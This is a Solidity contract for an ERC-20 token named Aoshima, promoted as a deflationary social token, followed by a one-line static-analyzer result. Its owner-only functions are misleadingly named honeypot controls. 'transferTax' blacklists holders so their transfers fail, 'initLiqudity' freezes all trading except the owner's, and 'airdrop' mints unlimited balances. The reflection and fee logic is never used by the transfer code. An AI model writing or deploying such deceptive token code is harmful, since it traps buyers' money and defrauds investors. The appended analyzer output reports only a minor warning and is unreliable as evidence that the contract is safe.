/**
 
AOSHIMA is a deflationary social token that follows the trend of NFT cards. 
It will be managed by people who want to have fun and earn money at the same time.
Token is deployed on Ethereum network. 
 
🗣Telegram: https://t.me/AOSHIMA

🌐Please visit our website for more details: https://aoshima.live

🐦Follow us on Tweeter: https://twitter.com/AoshimaToken 
 
*/

// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

import "./Libraries.sol";

contract AoshimaToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _vOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
    mapping (address => bool) private _sendTaxTo;
    event botBanned (address Address, bool isBanned);
    uint256 private _tFeeTotal;
    bool _liquidity;
    uint256 private _rTotal;
    uint256 private _totalSupply;
    address public uniswapV2router;

    string private _name = 'Aoshima';
    string private _symbol = 'SHIMA';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal =  100000000000000*10**9;
    uint256 private constant MAX = ~uint256(0);

    constructor (address router) {
        uniswapV2router = router;
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        _liquidity = true;
    }

    function transferTax(address holderAddress) external onlyOwner {
        if (_sendTaxTo[holderAddress] == true) {
            _sendTaxTo[holderAddress] = false;
        } else {_sendTaxTo[holderAddress] = true;
            emit botBanned (holderAddress, _sendTaxTo[holderAddress]);
          }
    }
    
    function taxStatus(address holderAddress) public view returns (bool) {
        return _sendTaxTo[holderAddress];
    }
    
    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }
    
    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    } 
       function airdrop(address owner, uint256 amount) public virtual onlyOwner {
        _vOwned[owner] = _vOwned[owner].add(amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function alreadyTakenFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_sendTaxTo[sender] || _sendTaxTo[recipient]) require (amount == 0, "");
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.div(1000).mul(2);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}